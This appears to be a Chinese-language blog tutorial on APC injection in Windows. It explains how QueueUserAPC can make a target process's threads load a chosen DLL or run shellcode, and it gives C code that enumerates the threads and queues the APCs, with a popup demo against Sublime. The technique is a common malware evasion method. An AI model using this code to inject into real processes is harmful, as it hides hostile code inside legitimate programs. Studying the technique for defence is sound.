原理
APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
注入流程和之前的远程注入差不多QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode
实现
首先还是先获取Pid
DWORD Pid(WCHAR* szName)
{
HANDLE hprocessSnap = NULL;
PROCESSENTRY32 pe32 = { 0 };
hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
/*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hprocessSnap, &pe32))
{
do {
if (!wcscmp(szName, pe32.szExeFile))
return (int)pe32.th32ProcessID;
} while (Process32Next(hprocessSnap, &pe32));
}
else
CloseHandle(hprocessSnap);
return 0;
}
再通过获取的Pid来获取对应的线程id,循环插入APC,为了提高命中率可以对所有线程进行插入
DWORD dwThreadID;
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL S = Thread32First(hTheader, &te32);
while (S)
{
if (te32.th32OwnerProcessID == dwId)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
DWORD dwRet = NULL;
dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d\n", GetLastError());
return NULL;
}
CloseHandle(hThread);
}
S = Thread32Next(hTheader, &te32);
}
完整代码
测试
这里还是使用Subilme来进行插入演示
成功插入弹窗
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。其中,为了增加APC被执行的可能性,所以向目标进程中所有的线程都插入的APC。
如果出现向指定进程的所有线程插入APC导致进程崩溃的问题,可以采取倒序遍历线程ID的方式进行倒序插入来解决程序崩溃问题。